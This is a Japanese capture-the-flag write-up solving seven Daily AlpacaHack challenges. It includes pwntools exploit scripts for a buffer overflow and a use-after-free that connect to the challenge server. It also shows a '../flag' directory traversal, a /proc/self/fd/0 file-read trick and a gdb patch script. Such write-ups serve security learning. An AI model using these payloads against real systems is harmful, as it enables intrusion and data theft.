Daily AlpacaHack Week3 (2025-12-15 ~ 2025-12-21)
Daily AlpacaHack の Writeup.
(2025/12/15 - 2025/12/21)
後から解いたものなど含むまとめ.
Flag Printer 2100 (Rev, 2025/12/15)
- 75 年間 sleep した後にフラグを出力するプログラム
- sleep 関数の呼ばれるタイミングで引数 (rdi レジスタ) を書き換えることで時間を 0 にし, フラグを出力させる
gdbの Python API を使用
import gdb # gdb -q ./print_flag -x ./solve.py # avoid pagination confirm prompt gdb.execute("set pagination off") gdb.execute("set confirm off") class testBP(gdb.Breakpoint): def __init__(self, spec): super().__init__(spec) self.silent = True def stop(self): frame = gdb.selected_frame() gdb.execute("set $rdi=0") testBP(spec=r"*main+28") gdb.execute("run") gdb.execute("quit")
🐈 (Web, 2025/12/16)
/catのエンドポイントで file パラメータにファイル名を渡すとcatコマンドを実行してくれるアプリケーション- 渡すファイル名が存在しない or ファイル名に "flag" という文字列が含まれるとうまく動作しない
/catコマンド実行時に標準入力へflag.txtが渡されているためこれを用いたいが, 渡せるファイル名は実在しなければいけないためcat _のようなものは使えない- 標準入力に該当するパスが
/proc以下に存在するためそれを用いてフラグ獲得
/proc/self/fd/0
login-bonus (Pwn, 2025/12/17)
- シードも推測できないランダム生成される文字列を当てるとフラグが獲得できるプログラム
checksecを試すと No canary であり,scanfも不適切に使われており BOF 脆弱性が存在passwordに割り当てられたサイズより大きいサイズの入力を与えることでsecretを上書きしてフラグ獲得
from pwn import * is_remote = True if is_remote: _, host, port = "nc 34.170.146.252 51262".split() sh = remote(host, port) else: sh = process("./login") prompt = sh.recvuntil("Password:".encode()) print(prompt.decode()) payload = "a".encode() * 0x1f # password payload += b"\x00" payload += "a".encode() * 0x1f # secret payload += b"\x00" sh.sendline(payload) sh.interactive()
Twilight (Rev, 2025/12/18)
- Ghidra で逆コンパイルすると i 番目の文字について, i が偶数であれば i を足し, 奇数であれば i と XOR を取っていた
- 逆処理を行いフラグ獲得
with open("./out.txt", "r") as f: out = [int(x.strip(","), 16) for x in f.read().split()] flag = "" for i, itr_hex in enumerate(out): if i % 2 == 0: flag += chr(itr_hex - i) else: flag += chr(itr_hex ^ i) print(flag)
alloc-101 (Pwn, 2025/12/19)
- スタック操作のあるプログラム
- 機能としては 1. 変数の割り当て (サイズ指定可), 2. 変数の解放, 3. 変数の出力, 4. フラグの読み込み がある
- 2, 3 のプロセスにおいて null かどうかは判断されているが, 実際に解放後に 3 で変数を出力するとメモリの何かが読み込まれる (
//item == NULL;とコメントにあるのもヒント) - 以上より UAF 脆弱性が存在
- フラグサイズが実行時に提供されるため, フラグサイズと同じサイズの変数を確保・解放しフラグを読み込むことで,
itemにフラグのポインタが格納されたままフラグが読み込まれるため獲得可能
from pwn import * elf = ELF("./chall") context.binary = elf is_remote = True if is_remote: _, host, port = "nc 34.170.146.252 34831".split() sh = remote(host, port) else: sh = remote("localhost", 9999) prompt = sh.recvuntil("choice>".encode()) print(prompt.decode()) # choice 1 sh.sendline("1".encode()) prompt = sh.recvuntil("size>".encode()) print(prompt.decode()) sh.sendline(str(32).encode()) prompt = sh.recvuntil("choice>".encode()) print(prompt.decode()) # choice 2 sh.sendline("2".encode()) prompt = sh.recvuntil("choice>".encode()) print(prompt.decode()) # choice 4 sh.sendline("4".encode()) prompt = sh.recvuntil("choice>".encode()) print(prompt.decode()) # read sh.sendline("3".encode()) sh.interactive()
omikuji (Web, 2025/12/20)
type変数に指定されたファイルが読み込まれ保存されるプログラム- ディレクトリトラバーサル脆弱性があるため
../flagのように渡してあげるとフラグが獲得できた
RSA debug (Crypto, 2025/12/21)
- RSA ライクな暗号
- 累乗の計算が間違って積の計算になっていた
def my_pow(a, n, m): result = 1 while n > 0: if n % 2 != 0: result = (result + a) % m # omg! a = (a + a) % m # oops! n = n // 2 return result
- 上は
a*n+1 mod mを結果として返す関数となっているため,eの逆元を計算することでそのままフラグを復元可能
from Crypto.Util.number import inverse, long_to_bytes with open("output.txt", "r") as f: contents = f.readlines() N = int(contents[0].split()[-1]) e = int(contents[1].split()[-1]) c = int(contents[2].split()[-1]) flag_int = ((c-1)*inverse(e,N)) % N flag = long_to_bytes(flag_int) print(flag)